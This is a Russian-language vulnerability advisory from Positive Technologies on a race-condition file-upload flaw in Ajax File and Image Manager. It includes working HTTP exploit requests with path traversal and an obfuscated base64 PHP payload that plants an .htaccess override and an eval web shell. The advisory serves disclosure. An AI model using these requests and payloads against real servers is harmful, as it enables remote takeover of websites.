PT-2013-41: Выполнение произвольного кода в Ajax File and Image Manager

(PT-2013-41) Positive Technologies Security Advisory
Выполнение произвольного кода в Ajax File and Image Manager

Уязвимое ПО

Ajax File and Image Manager
Версия: 1.1 и более ранняя

Ссылка:
http://www.phpletter.com/DOWNLOAD/

Рейтинг опасности

Уровень опасности: Высокий
Воздействие: Выполнение произвольного кода
Вектор атаки: Удаленный

CVSS v2:
Base Score: 10
Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVE: отсутствует

Описание программы

Ajax File and Image Manager – файловый менеджер с открытым исходным кодом, использующий для работы Ajax и PHP. Может использоваться как автономное веб-приложение, а также как плагин для TinyMCE и FCKeditor.

Описание уязвимости

Специалисты Исследовательского центра Positive Research компании Positive Technologies обнаружили уязвимость "Выполнение произвольного кода" в Ajax File and Image Manager.

Из-за некорректной архитектуры приложения проверка расширения загружаемого файла осуществляется после его загрузки с последующим удалением в случае, если расширение загружаемого файла не содержится в списке разрешенных. Таким образом, можно обратиться к загруженному файлу до того, как он будет удален, что приведет к выполнению произвольного кода.

Пример эксплуатации:

Одновременно отправить запросы:

1)

POST  /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/  HTTP/1.1
Host: localhost
User-Agent: google/agent
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------307211690811
Content-Length: 613

-----------------------------307211690811
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php
eval(base64_decode("JGZwID0gZm9wZW4oIi5odGFjY2VzcyIsICJ3Iik7CiRodGFjY2VzcyA9ICc8RmlsZXNNYXRjaCAi
LihwaHApJCI+CkFsbG93IGZyb20gYWxsCjwvRmlsZXNtYXRjaD4nOwokdGVzdCA9IGZ3cml0ZSgk
ZnAsICRodGFjY2Vzcyk7CmZjbG9zZSgkZnApOwojaWYoZmlsZV9leGlzdHMoIjIucGhwIikpIHtk
aWUoKTt9CiRmcDEgPSBmb3BlbigiMi5waHAiLCAidyIpOwokY29kZSA9ICc8P3BocCBldmFsKCRf
UkVRVUVTVFtjXSk7ID8+JzsKJHRlc3QgPSBmd3JpdGUoJGZwMSwgJGNvZGUpOwpmY2xvc2UoJGZw
MSk7"));
?>
-----------------------------307211690811—


2)
POST  /targethost/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/ajax_file_upload.php?folder=../../../../../../images/banner/  HTTP/1.1
Host: localhost
User-Agent: google/agent
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------307211690811
Content-Length: 240

-----------------------------307211690811
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

<FilesMatch ".(php)$">
Allow from all
</FilesMatch>
-----------------------------307211690811—


3)
GET /targethost/images/banner/1.php  HTTP/1.1
Host: localhost
Connection: keep-alive

В результате в каталоге targethost/images/banner будут созданы следующие файлы:
.htaccess с содержимым

<FilesMatch ".(php)$">
Allow from all
</Filesmatch>

и 2.php с содержимым
<?php eval($_REQUEST[c]); ?>.

Решение

Отсутствует

Статус уведомления

20.06.2013 - Производителю отправлены детали уязвимости
04.09.2013 - Детали уязвимости отправлены в CERT
17.09.2013 - Публикация уязвимости

Благодарности

Уязвимость обнаружил Илья Крупенко (Исследовательский центр Positive Research компании Positive Technologies)


Ссылки

http://www.securitylab.ru/lab/PT-2013-41

Список отчетов о ранее обнаруженных уязвимостях Positive Research:

http://www.ptsecurity.ru/lab/advisory/
http://www.securitylab.ru/lab/

О Positive Technologies

Positive Technologies www.ptsecurity.ru - одна из ведущих российских компаний в области информационной безопасности. 
Основные направления деятельности компании - разработка систем комплексного мониторинга информационной безопасности (XSpider, MaxPatrol); предоставление консалтинговых и сервисных услуг в области информационной безопасности; развитие специализированного портала Securitylab.ru.

Заказчиками Positive Technologies являются более 40 государственных учреждений, более 50 банков и финансовых структур, 20 телекоммуникационных компаний, более 40 промышленных предприятий, компании ИТ-индустрии, сервисные и ритейловые компании России, стран СНГ, Балтии, а также Великобритании, Германии, Голландии, Израиля, Ирана, Китая, Мексики, США, Таиланда, Турции, Эквадора, ЮАР, Японии.

Positive Technologies - это команда высококвалифицированных разработчиков, консультантов и экспертов, которые обладают большим практическим опытом, имеют профессиональные звания и сертификаты, являются членами международных организаций и активно участвуют в развитии отрасли.